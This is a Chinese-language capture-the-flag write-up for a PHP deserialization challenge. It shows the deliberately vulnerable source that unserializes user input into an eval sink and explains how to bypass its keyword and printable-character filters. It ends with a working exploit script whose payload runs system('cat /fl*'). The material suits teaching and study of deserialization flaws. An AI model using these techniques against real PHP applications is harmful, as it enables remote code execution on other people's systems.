Ezphp
考点:
- 代码审计
- PHP反序列化
题目源码:
<?php
function check($payload)
{
//You bypass this last time. What about this time?
for ($i = 0; $i < strlen($payload); $i++)
if (!(ord($payload[$i]) >= 32 && ord($payload[$i]) <= 125))
return false;
return true;
}
function filter($str)
{
if (preg_match("/flag|base64/i", $str)) {
return false;
} else {
return true;
}
}
class Note
{
protected $option;
protected $name;
protected $note;
function __construct()
{
$option = "no flag";
$name = "guest";
$note = "flag{fake_flag}";
$this->load();
}
public function load()
{
if ($this->option === "no flag") {
die("flag here ! :)");
} else if ($this->option === "getFlag") {
$this->loadFlag();
} else {
die("You don't need flag ?");
}
}
private function loadFlag()
{
if (isset($this->note) && isset($this->name)) {
if ($this->name === "admin") {
if (filter($this->note)) {
eval($this->note);
} else {
die("You failed !! :< ");
}
}
}
}
function __destruct()
{
$this->load();
}
}
if (isset($_GET['data'])) {
$data = (string)$_GET['data'];
if (check($data)) {
unserialize($data);
}
} else {
highlight_file(__FILE__);
}
一个裸的反序列化,利用链很短:
__destruct -> load -> loadFlag -> eval
审计代码,代码中对反序列化串进行了check
和filter
。
filter
检查payload中是否存在flag
和base64
字段,可以使用其他编码(如hex等)绕过,或者命令执行时使用通配符(cat /fl*
)进行绕过。
check
检查payload是否在可见字符范围之内,注意到Note
类的属性均为protected
类型,反序列化产生的payload为%00*%00属性名
,会被check检测,需要绕过。
绕过思路:
- php7.1+反序列化类型不敏感(PHP文档对此没有说明,详细参照 PHP Unserialize Feature on PHP7)
- S类型绕过(参考 Detailed explanation of PHP serialize format)
注意到题目的php版本是7.0,此处只能使用S类型进行绕过,使用\00
替换%00
即可绕过check
。
EXP:
<?php
class Note
{
protected $option;
protected $name;
protected $note;
function __construct()
{
$this->option = "getFlag";
$this->name = "admin";
$this->note = "system('cat /fl*');";
}
}
$obj = new Note();
$payload = serialize($obj);
$payload = str_replace("s:","S:",$payload);
$payload = str_replace(urldecode("%00"),"\\00",$payload);
$payload = str_replace(" ","\\20",$payload);
echo $payload;
echo "\n";
echo urlencode($payload);